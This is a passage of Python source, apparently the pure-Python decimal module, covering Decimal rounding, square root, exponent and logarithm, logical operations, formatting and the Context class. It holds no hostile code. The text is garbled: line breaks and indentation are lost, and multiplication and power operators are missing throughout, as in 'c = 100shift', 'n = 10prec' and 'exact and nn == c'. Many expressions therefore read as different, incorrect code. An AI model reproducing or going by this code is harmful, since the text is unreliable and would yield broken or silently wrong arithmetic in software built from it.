= ans._rescale(ans.adjusted()+1-places, rounding) return ans def to_integral_exact(self, rounding=None, context=None): """Rounds to a nearby integer. If no rounding mode is specified, take the rounding mode from the context. This method raises the Rounded and Inexact flags when appropriate. See also: to_integral_value, which does exactly the same as this method except that it doesn't raise Inexact or Rounded. """ if self._is_special: ans = self._check_nans(context=context) if ans: return ans return Decimal(self) if self._exp >= 0: return Decimal(self) if not self: return _dec_from_triple(self._sign, '0', 0) if context is None: context = getcontext() if rounding is None: rounding = context.rounding ans = self._rescale(0, rounding) if ans != self: context._raise_error(Inexact) context._raise_error(Rounded) return ans def to_integral_value(self, rounding=None, context=None): """Rounds to the nearest integer, without raising inexact, rounded.""" if context is None: context = getcontext() if rounding is None: rounding = context.rounding if self._is_special: ans = self._check_nans(context=context) if ans: return ans return Decimal(self) if self._exp >= 0: return Decimal(self) else: return self._rescale(0, rounding) # the method name changed, but we provide also the old one, for compatibility to_integral = to_integral_value def sqrt(self, context=None): """Return the square root of self.""" if context is None: context = getcontext() if self._is_special: ans = self._check_nans(context=context) if ans: return ans if self._isinfinity() and self._sign == 0: return Decimal(self) if not self: # exponent = self._exp // 2. sqrt(-0) = -0 ans = _dec_from_triple(self._sign, '0', self._exp // 2) return ans._fix(context) if self._sign == 1: return context._raise_error(InvalidOperation, 'sqrt(-x), x > 0') # At this point self represents a positive number. Let p be # the desired precision and express self in the form c100e # with c a positive real number and e an integer, c and e # being chosen so that 100(p-1) <= c < 100*p. Then the # (exact) square root of self is sqrt(c)10e, and 10(p-1) # <= sqrt(c) < 10*p, so the closest representable Decimal at # precision p is n10*e where n = round_half_even(sqrt(c)), # the closest integer to sqrt(c) with the even integer chosen # in the case of a tie. # # To ensure correct rounding in all cases, we use the # following trick: we compute the square root to an extra # place (precision p+1 instead of precision p), rounding down. # Then, if the result is inexact and its last digit is 0 or 5, # we increase the last digit to 1 or 6 respectively; if it's # exact we leave the last digit alone. Now the final round to # p places (or fewer in the case of underflow) will round # correctly and raise the appropriate flags. # use an extra digit of precision prec = context.prec+1 # write argument in the form c100e where e = self._exp//2 # is the 'ideal' exponent, to be used if the square root is # exactly representable. l is the number of 'digits' of c in # base 100, so that 100(l-1) <= c < 100*l. op = _WorkRep(self) e = op.exp >> 1 if op.exp & 1: c = op.int 10 l = (len(self._int) >> 1) + 1 else: c = op.int l = len(self._int)+1 >> 1 # rescale so that c has exactly prec base 100 'digits' shift = prec-l if shift >= 0: c = 100shift exact = True else: c, remainder = divmod(c, 100-shift) exact = not remainder e -= shift # find n = floor(sqrt(c)) using Newton's method n = 10prec while True: q = c//n if n <= q: break else: n = n + q >> 1 exact = exact and nn == c if exact: # result is exact; rescale to use ideal exponent e if shift >= 0: # assert n % 10shift == 0 n //= 10shift else: n = 10-shift e += shift else: # result is not exact; fix last digit as described above if n % 5 == 0: n += 1 ans = _dec_from_triple(0, str(n), e) # round, and fit to current context context = context._shallow_copy() rounding = context._set_rounding(ROUND_HALF_EVEN) ans = ans._fix(context) context.rounding = rounding return ans def max(self, other, context=None): """Returns the larger value. Like max(self, other) except if one is not a number, returns NaN (and signals if one is sNaN). Also rounds. """ other = _convert_other(other, raiseit=True) if context is None: context = getcontext() if self._is_special or other._is_special: # If one operand is a quiet NaN and the other is number, then the # number is always returned sn = self._isnan() on = other._isnan() if sn or on: if on == 1 and sn == 0: return self._fix(context) if sn == 1 and on == 0: return other._fix(context) return self._check_nans(other, context) c = self._cmp(other) if c == 0: # If both operands are finite and equal in numerical value # then an ordering is applied: # # If the signs differ then max returns the operand with the # positive sign and min returns the operand with the negative sign # # If the signs are the same then the exponent is used to select # the result. This is exactly the ordering used in compare_total. c = self.compare_total(other) if c == -1: ans = other else: ans = self return ans._fix(context) def min(self, other, context=None): """Returns the smaller value. Like min(self, other) except if one is not a number, returns NaN (and signals if one is sNaN). Also rounds. """ other = _convert_other(other, raiseit=True) if context is None: context = getcontext() if self._is_special or other._is_special: # If one operand is a quiet NaN and the other is number, then the # number is always returned sn = self._isnan() on = other._isnan() if sn or on: if on == 1 and sn == 0: return self._fix(context) if sn == 1 and on == 0: return other._fix(context) return self._check_nans(other, context) c = self._cmp(other) if c == 0: c = self.compare_total(other) if c == -1: ans = self else: ans = other return ans._fix(context) def _isinteger(self): """Returns whether self is an integer""" if self._is_special: return False if self._exp >= 0: return True rest = self._int[self._exp:] return rest == '0'len(rest) def _iseven(self): """Returns True if self is even. Assumes self is an integer.""" if not self or self._exp > 0: return True return self._int[-1+self._exp] in '02468' def adjusted(self): """Return the adjusted exponent of self""" try: return self._exp + len(self._int) - 1 # If NaN or Infinity, self._exp is string except TypeError: return 0 def canonical(self): """Returns the same Decimal object. As we do not have different encodings for the same number, the received object already is in its canonical form. """ return self def compare_signal(self, other, context=None): """Compares self to the other operand numerically. It's pretty much like compare(), but all NaNs signal, with signaling NaNs taking precedence over quiet NaNs. """ other = _convert_other(other, raiseit = True) ans = self._compare_check_nans(other, context) if ans: return ans return self.compare(other, context=context) def compare_total(self, other, context=None): """Compares self to other using the abstract representations. This is not like the standard compare, which use their numerical value. Note that a total ordering is defined for all possible abstract representations. """ other = _convert_other(other, raiseit=True) # if one is negative and the other is positive, it's easy if self._sign and not other._sign: return _NegativeOne if not self._sign and other._sign: return _One sign = self._sign # let's handle both NaN types self_nan = self._isnan() other_nan = other._isnan() if self_nan or other_nan: if self_nan == other_nan: # compare payloads as though they're integers self_key = len(self._int), self._int other_key = len(other._int), other._int if self_key < other_key: if sign: return _One else: return _NegativeOne if self_key > other_key: if sign: return _NegativeOne else: return _One return _Zero if sign: if self_nan == 1: return _NegativeOne if other_nan == 1: return _One if self_nan == 2: return _NegativeOne if other_nan == 2: return _One else: if self_nan == 1: return _One if other_nan == 1: return _NegativeOne if self_nan == 2: return _One if other_nan == 2: return _NegativeOne if self < other: return _NegativeOne if self > other: return _One if self._exp < other._exp: if sign: return _One else: return _NegativeOne if self._exp > other._exp: if sign: return _NegativeOne else: return _One return _Zero def compare_total_mag(self, other, context=None): """Compares self to other using abstract repr., ignoring sign. Like compare_total, but with operand's sign ignored and assumed to be 0. """ other = _convert_other(other, raiseit=True) s = self.copy_abs() o = other.copy_abs() return s.compare_total(o) def copy_abs(self): """Returns a copy with the sign set to 0. """ return _dec_from_triple(0, self._int, self._exp, self._is_special) def copy_negate(self): """Returns a copy with the sign inverted.""" if self._sign: return _dec_from_triple(0, self._int, self._exp, self._is_special) else: return _dec_from_triple(1, self._int, self._exp, self._is_special) def copy_sign(self, other, context=None): """Returns self with the sign of other.""" other = _convert_other(other, raiseit=True) return _dec_from_triple(other._sign, self._int, self._exp, self._is_special) def exp(self, context=None): """Returns e ** self.""" if context is None: context = getcontext() # exp(NaN) = NaN ans = self._check_nans(context=context) if ans: return ans # exp(-Infinity) = 0 if self._isinfinity() == -1: return _Zero # exp(0) = 1 if not self: return _One # exp(Infinity) = Infinity if self._isinfinity() == 1: return Decimal(self) # the result is now guaranteed to be inexact (the true # mathematical result is transcendental). There's no need to # raise Rounded and Inexact here---they'll always be raised as # a result of the call to _fix. p = context.prec adj = self.adjusted() # we only need to do any computation for quite a small range # of adjusted exponents---for example, -29 <= adj <= 10 for # the default context. For smaller exponent the result is # indistinguishable from 1 at the given precision, while for # larger exponent the result either overflows or underflows. if self._sign == 0 and adj > len(str((context.Emax+1)3)): # overflow ans = _dec_from_triple(0, '1', context.Emax+1) elif self._sign == 1 and adj > len(str((-context.Etiny()+1)3)): # underflow to 0 ans = _dec_from_triple(0, '1', context.Etiny()-1) elif self._sign == 0 and adj < -p: # p+1 digits; final round will raise correct flags ans = _dec_from_triple(0, '1' + '0'(p-1) + '1', -p) elif self._sign == 1 and adj < -p-1: # p+1 digits; final round will raise correct flags ans = _dec_from_triple(0, '9'(p+1), -p-1) # general case else: op = _WorkRep(self) c, e = op.int, op.exp if op.sign == 1: c = -c # compute correctly rounded result: increase precision by # 3 digits at a time until we get an unambiguously # roundable result extra = 3 while True: coeff, exp = _dexp(c, e, p+extra) if coeff % (510(len(str(coeff))-p-1)): break extra += 3 ans = _dec_from_triple(0, str(coeff), exp) # at this stage, ans should round correctly with any* # rounding mode, not just with ROUND_HALF_EVEN context = context._shallow_copy() rounding = context._set_rounding(ROUND_HALF_EVEN) ans = ans._fix(context) context.rounding = rounding return ans def is_canonical(self): """Return True if self is canonical; otherwise return False. Currently, the encoding of a Decimal instance is always canonical, so this method returns True for any Decimal. """ return True def is_finite(self): """Return True if self is finite; otherwise return False. A Decimal instance is considered finite if it is neither infinite nor a NaN. """ return not self._is_special def is_infinite(self): """Return True if self is infinite; otherwise return False.""" return self._exp == 'F' def is_nan(self): """Return True if self is a qNaN or sNaN; otherwise return False.""" return self._exp in ('n', 'N') def is_normal(self, context=None): """Return True if self is a normal number; otherwise return False.""" if self._is_special or not self: return False if context is None: context = getcontext() return context.Emin <= self.adjusted() def is_qnan(self): """Return True if self is a quiet NaN; otherwise return False.""" return self._exp == 'n' def is_signed(self): """Return True if self is negative; otherwise return False.""" return self._sign == 1 def is_snan(self): """Return True if self is a signaling NaN; otherwise return False.""" return self._exp == 'N' def is_subnormal(self, context=None): """Return True if self is subnormal; otherwise return False.""" if self._is_special or not self: return False if context is None: context = getcontext() return self.adjusted() < context.Emin def is_zero(self): """Return True if self is a zero; otherwise return False.""" return not self._is_special and self._int == '0' def _ln_exp_bound(self): """Compute a lower bound for the adjusted exponent of self.ln(). In other words, compute r such that self.ln() >= 10*r. Assumes that self is finite and positive and that self != 1. """ # for 0.1 <= x <= 10 we use the inequalities 1-1/x <= ln(x) <= x-1 adj = self._exp + len(self._int) - 1 if adj >= 1: # argument >= 10; we use 23/10 = 2.3 as a lower bound for ln(10) return len(str(adj23//10)) - 1 if adj <= -2: # argument <= 0.1 return len(str((-1-adj)23//10)) - 1 op = _WorkRep(self) c, e = op.int, op.exp if adj == 0: # 1 < self < 10 num = str(c-10-e) den = str(c) return len(num) - len(den) - (num < den) # adj == -1, 0.1 <= self < 1 return e + len(str(10-e - c)) - 1 def ln(self, context=None): """Returns the natural (base e) logarithm of self.""" if context is None: context = getcontext() # ln(NaN) = NaN ans = self._check_nans(context=context) if ans: return ans # ln(0.0) == -Infinity if not self: return _NegativeInfinity # ln(Infinity) = Infinity if self._isinfinity() == 1: return _Infinity # ln(1.0) == 0.0 if self == _One: return _Zero # ln(negative) raises InvalidOperation if self._sign == 1: return context._raise_error(InvalidOperation, 'ln of a negative value') # result is irrational, so necessarily inexact op = _WorkRep(self) c, e = op.int, op.exp p = context.prec # correctly rounded result: repeatedly increase precision by 3 # until we get an unambiguously roundable result places = p - self._ln_exp_bound() + 2 # at least p+3 places while True: coeff = _dlog(c, e, places) # assert len(str(abs(coeff)))-p >= 1 if coeff % (510(len(str(abs(coeff)))-p-1)): break places += 3 ans = _dec_from_triple(int(coeff<0), str(abs(coeff)), -places) context = context._shallow_copy() rounding = context._set_rounding(ROUND_HALF_EVEN) ans = ans._fix(context) context.rounding = rounding return ans def _log10_exp_bound(self): """Compute a lower bound for the adjusted exponent of self.log10(). In other words, find r such that self.log10() >= 10r. Assumes that self is finite and positive and that self != 1. """ # For x >= 10 or x < 0.1 we only need a bound on the integer # part of log10(self), and this comes directly from the # exponent of x. For 0.1 <= x <= 10 we use the inequalities # 1-1/x <= log(x) <= x-1. If x > 1 we have \|log10(x)\| > # (1-1/x)/2.31 > 0. If x < 1 then \|log10(x)\| > (1-x)/2.31 > 0 adj = self._exp + len(self._int) - 1 if adj >= 1: # self >= 10 return len(str(adj))-1 if adj <= -2: # self < 0.1 return len(str(-1-adj))-1 op = _WorkRep(self) c, e = op.int, op.exp if adj == 0: # 1 < self < 10 num = str(c-10*-e) den = str(231c) return len(num) - len(den) - (num < den) + 2 # adj == -1, 0.1 <= self < 1 num = str(10-e-c) return len(num) + e - (num < "231") - 1 def log10(self, context=None): """Returns the base 10 logarithm of self.""" if context is None: context = getcontext() # log10(NaN) = NaN ans = self._check_nans(context=context) if ans: return ans # log10(0.0) == -Infinity if not self: return _NegativeInfinity # log10(Infinity) = Infinity if self._isinfinity() == 1: return _Infinity # log10(negative or -Infinity) raises InvalidOperation if self._sign == 1: return context._raise_error(InvalidOperation, 'log10 of a negative value') # log10(10n) = n if self._int[0] == '1' and self._int[1:] == '0'(len(self._int) - 1): # answer may need rounding ans = Decimal(self._exp + len(self._int) - 1) else: # result is irrational, so necessarily inexact op = _WorkRep(self) c, e = op.int, op.exp p = context.prec # correctly rounded result: repeatedly increase precision # until result is unambiguously roundable places = p-self._log10_exp_bound()+2 while True: coeff = _dlog10(c, e, places) # assert len(str(abs(coeff)))-p >= 1 if coeff % (510*(len(str(abs(coeff)))-p-1)): break places += 3 ans = _dec_from_triple(int(coeff<0), str(abs(coeff)), -places) context = context._shallow_copy() rounding = context._set_rounding(ROUND_HALF_EVEN) ans = ans._fix(context) context.rounding = rounding return ans def logb(self, context=None): """ Returns the exponent of the magnitude of self's MSD. The result is the integer which is the exponent of the magnitude of the most significant digit of self (as though it were truncated to a single digit while maintaining the value of that digit and without limiting the resulting exponent). """ # logb(NaN) = NaN ans = self._check_nans(context=context) if ans: return ans if context is None: context = getcontext() # logb(+/-Inf) = +Inf if self._isinfinity(): return _Infinity # logb(0) = -Inf, DivisionByZero if not self: return context._raise_error(DivisionByZero, 'logb(0)', 1) # otherwise, simply return the adjusted exponent of self, as a # Decimal. Note that no attempt is made to fit the result # into the current context. ans = Decimal(self.adjusted()) return ans._fix(context) def _islogical(self): """Return True if self is a logical operand. For being logical, it must be a finite number with a sign of 0, an exponent of 0, and a coefficient whose digits must all be either 0 or 1. """ if self._sign != 0 or self._exp != 0: return False for dig in self._int: if dig not in '01': return False return True def _fill_logical(self, context, opa, opb): dif = context.prec - len(opa) if dif > 0: opa = '0'dif + opa elif dif < 0: opa = opa[-context.prec:] dif = context.prec - len(opb) if dif > 0: opb = '0'dif + opb elif dif < 0: opb = opb[-context.prec:] return opa, opb def logical_and(self, other, context=None): """Applies an 'and' operation between self and other's digits.""" if context is None: context = getcontext() other = _convert_other(other, raiseit=True) if not self._islogical() or not other._islogical(): return context._raise_error(InvalidOperation) # fill to context.prec (opa, opb) = self._fill_logical(context, self._int, other._int) # make the operation, and clean starting zeroes result = "".join([str(int(a)&int(b)) for a,b in zip(opa,opb)]) return _dec_from_triple(0, result.lstrip('0') or '0', 0) def logical_invert(self, context=None): """Invert all its digits.""" if context is None: context = getcontext() return self.logical_xor(_dec_from_triple(0,'1'context.prec,0), context) def logical_or(self, other, context=None): """Applies an 'or' operation between self and other's digits.""" if context is None: context = getcontext() other = _convert_other(other, raiseit=True) if not self._islogical() or not other._islogical(): return context._raise_error(InvalidOperation) # fill to context.prec (opa, opb) = self._fill_logical(context, self._int, other._int) # make the operation, and clean starting zeroes result = "".join([str(int(a)\|int(b)) for a,b in zip(opa,opb)]) return _dec_from_triple(0, result.lstrip('0') or '0', 0) def logical_xor(self, other, context=None): """Applies an 'xor' operation between self and other's digits.""" if context is None: context = getcontext() other = _convert_other(other, raiseit=True) if not self._islogical() or not other._islogical(): return context._raise_error(InvalidOperation) # fill to context.prec (opa, opb) = self._fill_logical(context, self._int, other._int) # make the operation, and clean starting zeroes result = "".join([str(int(a)^int(b)) for a,b in zip(opa,opb)]) return _dec_from_triple(0, result.lstrip('0') or '0', 0) def max_mag(self, other, context=None): """Compares the values numerically with their sign ignored.""" other = _convert_other(other, raiseit=True) if context is None: context = getcontext() if self._is_special or other._is_special: # If one operand is a quiet NaN and the other is number, then the # number is always returned sn = self._isnan() on = other._isnan() if sn or on: if on == 1 and sn == 0: return self._fix(context) if sn == 1 and on == 0: return other._fix(context) return self._check_nans(other, context) c = self.copy_abs()._cmp(other.copy_abs()) if c == 0: c = self.compare_total(other) if c == -1: ans = other else: ans = self return ans._fix(context) def min_mag(self, other, context=None): """Compares the values numerically with their sign ignored.""" other = _convert_other(other, raiseit=True) if context is None: context = getcontext() if self._is_special or other._is_special: # If one operand is a quiet NaN and the other is number, then the # number is always returned sn = self._isnan() on = other._isnan() if sn or on: if on == 1 and sn == 0: return self._fix(context) if sn == 1 and on == 0: return other._fix(context) return self._check_nans(other, context) c = self.copy_abs()._cmp(other.copy_abs()) if c == 0: c = self.compare_total(other) if c == -1: ans = self else: ans = other return ans._fix(context) def next_minus(self, context=None): """Returns the largest representable number smaller than itself.""" if context is None: context = getcontext() ans = self._check_nans(context=context) if ans: return ans if self._isinfinity() == -1: return _NegativeInfinity if self._isinfinity() == 1: return _dec_from_triple(0, '9'context.prec, context.Etop()) context = context.copy() context._set_rounding(ROUND_FLOOR) context._ignore_all_flags() new_self = self._fix(context) if new_self != self: return new_self return self.__sub__(_dec_from_triple(0, '1', context.Etiny()-1), context) def next_plus(self, context=None): """Returns the smallest representable number larger than itself.""" if context is None: context = getcontext() ans = self._check_nans(context=context) if ans: return ans if self._isinfinity() == 1: return _Infinity if self._isinfinity() == -1: return _dec_from_triple(1, '9'context.prec, context.Etop()) context = context.copy() context._set_rounding(ROUND_CEILING) context._ignore_all_flags() new_self = self._fix(context) if new_self != self: return new_self return self.__add__(_dec_from_triple(0, '1', context.Etiny()-1), context) def next_toward(self, other, context=None): """Returns the number closest to self, in the direction towards other. The result is the closest representable number to self (excluding self) that is in the direction towards other, unless both have the same value. If the two operands are numerically equal, then the result is a copy of self with the sign set to be the same as the sign of other. """ other = _convert_other(other, raiseit=True) if context is None: context = getcontext() ans = self._check_nans(other, context) if ans: return ans comparison = self._cmp(other) if comparison == 0: return self.copy_sign(other) if comparison == -1: ans = self.next_plus(context) else: # comparison == 1 ans = self.next_minus(context) # decide which flags to raise using value of ans if ans._isinfinity(): context._raise_error(Overflow, 'Infinite result from next_toward', ans._sign) context._raise_error(Inexact) context._raise_error(Rounded) elif ans.adjusted() < context.Emin: context._raise_error(Underflow) context._raise_error(Subnormal) context._raise_error(Inexact) context._raise_error(Rounded) # if precision == 1 then we don't raise Clamped for a # result 0E-Etiny. if not ans: context._raise_error(Clamped) return ans def number_class(self, context=None): """Returns an indication of the class of self. The class is one of the following strings: sNaN NaN -Infinity -Normal -Subnormal -Zero +Zero +Subnormal +Normal +Infinity """ if self.is_snan(): return "sNaN" if self.is_qnan(): return "NaN" inf = self._isinfinity() if inf == 1: return "+Infinity" if inf == -1: return "-Infinity" if self.is_zero(): if self._sign: return "-Zero" else: return "+Zero" if context is None: context = getcontext() if self.is_subnormal(context=context): if self._sign: return "-Subnormal" else: return "+Subnormal" # just a normal, regular, boring number, :) if self._sign: return "-Normal" else: return "+Normal" def radix(self): """Just returns 10, as this is Decimal, :)""" return Decimal(10) def rotate(self, other, context=None): """Returns a rotated copy of self, value-of-other times.""" if context is None: context = getcontext() other = _convert_other(other, raiseit=True) ans = self._check_nans(other, context) if ans: return ans if other._exp != 0: return context._raise_error(InvalidOperation) if not (-context.prec <= int(other) <= context.prec): return context._raise_error(InvalidOperation) if self._isinfinity(): return Decimal(self) # get values, pad if necessary torot = int(other) rotdig = self._int topad = context.prec - len(rotdig) if topad > 0: rotdig = '0'topad + rotdig elif topad < 0: rotdig = rotdig[-topad:] # let's rotate! rotated = rotdig[torot:] + rotdig[:torot] return _dec_from_triple(self._sign, rotated.lstrip('0') or '0', self._exp) def scaleb(self, other, context=None): """Returns self operand after adding the second value to its exp.""" if context is None: context = getcontext() other = _convert_other(other, raiseit=True) ans = self._check_nans(other, context) if ans: return ans if other._exp != 0: return context._raise_error(InvalidOperation) liminf = -2 (context.Emax + context.prec) limsup = 2 * (context.Emax + context.prec) if not (liminf <= int(other) <= limsup): return context._raise_error(InvalidOperation) if self._isinfinity(): return Decimal(self) d = _dec_from_triple(self._sign, self._int, self._exp + int(other)) d = d._fix(context) return d def shift(self, other, context=None): """Returns a shifted copy of self, value-of-other times.""" if context is None: context = getcontext() other = _convert_other(other, raiseit=True) ans = self._check_nans(other, context) if ans: return ans if other._exp != 0: return context._raise_error(InvalidOperation) if not (-context.prec <= int(other) <= context.prec): return context._raise_error(InvalidOperation) if self._isinfinity(): return Decimal(self) # get values, pad if necessary torot = int(other) rotdig = self._int topad = context.prec - len(rotdig) if topad > 0: rotdig = '0'topad + rotdig elif topad < 0: rotdig = rotdig[-topad:] # let's shift! if torot < 0: shifted = rotdig[:torot] else: shifted = rotdig + '0'torot shifted = shifted[-context.prec:] return _dec_from_triple(self._sign, shifted.lstrip('0') or '0', self._exp) # Support for pickling, copy, and deepcopy def __reduce__(self): return (self.__class__, (str(self),)) def __copy__(self): if type(self) is Decimal: return self # I'm immutable; therefore I am my own clone return self.__class__(str(self)) def __deepcopy__(self, memo): if type(self) is Decimal: return self # My components are also immutable return self.__class__(str(self)) # PEP 3101 support. the _localeconv keyword argument should be # considered private: it's provided for ease of testing only. def __format__(self, specifier, context=None, _localeconv=None): """Format a Decimal instance according to the given specifier. The specifier should be a standard format specifier, with the form described in PEP 3101. Formatting types 'e', 'E', 'f', 'F', 'g', 'G', 'n' and '%' are supported. If the formatting type is omitted it defaults to 'g' or 'G', depending on the value of context.capitals. """ # Note: PEP 3101 says that if the type is not present then # there should be at least one digit after the decimal point. # We take the liberty of ignoring this requirement for # Decimal---it's presumably there to make sure that # format(float, '') behaves similarly to str(float). if context is None: context = getcontext() spec = _parse_format_specifier(specifier, _localeconv=_localeconv) # special values don't care about the type or precision if self._is_special: sign = _format_sign(self._sign, spec) body = str(self.copy_abs()) if spec['type'] == '%': body += '%' return _format_align(sign, body, spec) # a type of None defaults to 'g' or 'G', depending on context if spec['type'] is None: spec['type'] = ['g', 'G'][context.capitals] # if type is '%', adjust exponent of self accordingly if spec['type'] == '%': self = _dec_from_triple(self._sign, self._int, self._exp+2) # round if necessary, taking rounding mode from the context rounding = context.rounding precision = spec['precision'] if precision is not None: if spec['type'] in 'eE': self = self._round(precision+1, rounding) elif spec['type'] in 'fF%': self = self._rescale(-precision, rounding) elif spec['type'] in 'gG' and len(self._int) > precision: self = self._round(precision, rounding) # special case: zeros with a positive exponent can't be # represented in fixed point; rescale them to 0e0. if not self and self._exp > 0 and spec['type'] in 'fF%': self = self._rescale(0, rounding) # figure out placement of the decimal point leftdigits = self._exp + len(self._int) if spec['type'] in 'eE': if not self and precision is not None: dotplace = 1 - precision else: dotplace = 1 elif spec['type'] in 'fF%': dotplace = leftdigits elif spec['type'] in 'gG': if self._exp <= 0 and leftdigits > -6: dotplace = leftdigits else: dotplace = 1 # find digits before and after decimal point, and get exponent if dotplace < 0: intpart = '0' fracpart = '0'(-dotplace) + self._int elif dotplace > len(self._int): intpart = self._int + '0'(dotplace-len(self._int)) fracpart = '' else: intpart = self._int[:dotplace] or '0' fracpart = self._int[dotplace:] exp = leftdigits-dotplace # done with the decimal-specific stuff; hand over the rest # of the formatting to the _format_number function return _format_number(self._sign, intpart, fracpart, exp, spec) def _dec_from_triple(sign, coefficient, exponent, special=False): """Create a decimal instance directly, without any validation, normalization (e.g. removal of leading zeros) or argument conversion. This function is for internal use only. """ self = object.__new__(Decimal) self._sign = sign self._int = coefficient self._exp = exponent self._is_special = special return self # Register Decimal as a kind of Number (an abstract base class). # However, do not register it as Real (because Decimals are not # interoperable with floats). _numbers.Number.register(Decimal) ##### Context class ####################################################### class _ContextManager(object): """Context manager class to support localcontext(). Sets a copy of the supplied context in __enter__() and restores the previous decimal context in __exit__() """ def __init__(self, new_context): self.new_context = new_context.copy() def __enter__(self): self.saved_context = getcontext() setcontext(self.new_context) return self.new_context def __exit__(self, t, v, tb): setcontext(self.saved_context) class Context(object): """Contains the context for a Decimal instance. Contains: prec - precision (for use in rounding, division, square roots..) rounding - rounding type (how you round) traps - If traps[exception] = 1, then the exception is raised when it is caused. Otherwise, a value is substituted in. flags - When an exception is caused, flags[exception] is set. (Whether or not the trap_enabler is set) Should be reset by user of Decimal instance. Emin - Minimum exponent Emax - Maximum exponent capitals - If 1, 110^1 is printed as 1E+1. If 0, printed as 1e1 clamp - If 1, change exponents if too high (Default 0) """ def __init__(self, prec=None, rounding=None, Emin=None, Emax=None, capitals=None, clamp=None, flags=None, traps=None, _ignored_flags=None): # Set defaults; for everything except flags and _ignored_flags, # inherit from DefaultContext. try: dc = DefaultContext except NameError: pass self.prec = prec if prec is not None else dc.prec self.rounding = rounding if rounding is not None else dc.rounding self.Emin = Emin if Emin is not None else dc.Emin self.Emax = Emax if Emax is not None else dc.Emax self.capitals = capitals if capitals is not None else dc.capitals self.clamp = clamp if clamp is not None else dc.clamp if _ignored_flags is None: self._ignored_flags = [] else: self._ignored_flags = _ignored_flags if traps is None: self.traps = dc.traps.copy() elif not isinstance(traps, dict): self.traps = dict((s, int(s in traps)) for s in _signals + traps) else: self.traps = traps if flags is None: self.flags = dict.fromkeys(_signals, 0) elif not isinstance(flags, dict): self.flags = dict((s, int(s in flags)) for s in _signals + flags) else: self.flags = flags def _set_integer_check(self, name, value, vmin, vmax): if not isinstance(value, int): raise TypeError("%s must be an integer" % name) if vmin == '-inf': if value > vmax: raise ValueError("%s must be in [%s, %d]. got: %s" % (name, vmin, vmax, value)) elif vmax == 'inf': if value < vmin: raise ValueError("%s must be in [%d, %s]. got: %s" % (name, vmin, vmax, value)) else: if value < vmin or value > vmax: raise ValueError("%s must be in [%d, %d]. got %s" % (name, vmin, vmax, value)) return object.__setattr__(self, name, value) def _set_signal_dict(self, name, d): if not isinstance(d, dict): raise TypeError("%s must be a signal dict" % d) for key in d: if not key in _signals: raise KeyError("%s is not a valid signal dict" % d) for key in _signals: if not key in d: raise KeyError("%s is not a valid signal dict" % d) return object.__setattr__(self, name, d) def __setattr__(self, name, value): if name == 'prec': return self._set_integer_check(name, value, 1, 'inf') elif name == 'Emin': return self._set_integer_check(name, value, '-inf', 0) elif name == 'Emax': return self._set_integer_check(name, value, 0, 'inf') elif name == 'capitals': return self._set_integer_check(name, value, 0, 1) elif name == 'clamp': return self._set_integer_check(name, value, 0, 1) elif name == 'rounding': if not value in _rounding_modes: # raise TypeError even for strings to have consistency # among various implementations. raise TypeError("%s: invalid rounding mode" % value) return object.__setattr__(self, name, value) elif name == 'flags' or name == 'traps': return self._set_signal_dict(name, value) elif name == '_ignored_flags': return object.__setattr__(self, name, value) else: raise AttributeError( "'decimal.Context' object has no attribute '%s'" % name) def __delattr__(self, name): raise AttributeError("%s cannot be deleted" % name) # Support for pickling, copy, and deepcopy def __reduce__(self): flags = [sig for sig, v in self.flags.items() if v] traps = [sig for sig, v in self.traps.items() if v] return (self.__class__, (self.prec, self.rounding, self.Emin, self.Emax, self.capitals, self.clamp, flags, traps)) def __repr__(self): """Show the current context.""" s = [] s.append('Context(prec=%(prec)d, rounding=%(rounding)s, ' 'Emin=%(Emin)d, Emax=%(Emax)d, capitals=%(capitals)d, ' 'clamp=%(clamp)d' % vars(self)) names = [f.__name__ for f, v in self.flags.items() if v] s.append('flags=[' + ', '.join(names) + ']') names = [t.__name__ for t, v in self.traps.items() if v] s.append('traps=[' + ', '.join(names) + ']') return ', '.join(s) + ')' def clear_flags(self): """Reset all flags to zero""" for flag in self.flags: self.flags[flag] = 0 def clear_traps(self): """Reset all traps to zero""" for flag in self.traps: self.traps[flag] = 0 def _shallow_copy(self): """Returns a shallow copy from self.""" nc = Context(self.prec, self.rounding, self.Emin, self.Emax, self.capitals, self.clamp, self.flags, self.traps, self._ignored_flags) return nc def copy(self): """Returns a deep copy from self.""" nc = Context(self.prec, self.rounding, self.Emin, self.Emax, self.capitals, self.clamp, self.flags.copy(), self.traps.copy(), self._ignored_flags) return nc __copy__ = copy def _raise_error(self, condition, explanation = None, args): """Handles an error If the flag is in _ignored_flags, returns the default response. Otherwise, it sets the flag, then, if the corresponding trap_enabler is set, it reraises the exception. Otherwise, it returns the default value after setting the flag. """ error = _condition_map.get(condition, condition) if error in self._ignored_flags: # Don't touch the flag return error().handle(self, args) self.flags[error] = 1 if not self.traps[error]: # The errors define how to handle themselves. return condition().handle(self, args) # Errors should only be risked on copies of the context # self._ignored_flags = [] raise error(explanation) def _ignore_all_flags(self): """Ignore all flags, if they are raised""" return self._ignore_flags(_signals) def _ignore_flags(self, flags): """Ignore the flags, if they are raised""" # Do not mutate-- This way, copies of a context leave the original # alone. self._ignored_flags = (self._ignored_flags + list(flags)) return list(flags) def _regard_flags(self, flags): """Stop ignoring the flags, if they are raised""" if flags and isinstance(flags[0], (tuple,list)): flags = flags[0] for flag in flags: self._ignored_flags.remove(flag) # We inherit object.__hash__, so we must deny this explicitly __hash__ = None def Etiny(self): """Returns Etiny (= Emin - prec + 1)""" return int(self.Emin - self.prec + 1) def Etop(self): """Returns maximum exponent (= Emax - prec + 1)""" return int(self.Emax - self.prec + 1) def _set_rounding(self, type): """Sets the rounding type. Sets the rounding type, and returns the current (previous) rounding type. Often used like: context = context.copy() # so you don't change the calling context # if an error occurs in the middle. rounding = context._set_rounding(ROUND_UP) val = self.__sub__(other, context=context) context._set_rounding(rounding) This will make it round up for that operation. """ rounding = self.rounding self.rounding = type return rounding def create_decimal(self, num='0'): """Creates a new Decimal instance but using self as context. This method implements the to-number operation of the IBM Decimal specification.""" if isinstance(num, str) and (num != num.strip() or '_' in num): return self._raise_error(ConversionSyntax, "trailing or leading whitespace and " "underscores are not permitted.") d = Decimal(num, context=self) if d._isnan() and len(d._int) > self.prec - self.clamp: return self._raise_error(ConversionSyntax, "diagnostic info too long in NaN") return d._fix(self) def create_decimal_from_float(self, f): """Creates a new Decimal instance from a float but rounding using self as the context. >>> context = Context(prec=5, rounding=ROUND_DOWN) >>> context.create_decimal_from_float(3.1415926535897932) Decimal('3.1415') >>> context = Context(prec=5, traps=[Inexact]) >>> context.create_decimal_from_float(3.1415926535897932) Traceback (most recent call last): ... decimal.Inexact: None """ d = Decimal.from_float(f) # An exact conversion return d._fix(self) # Apply 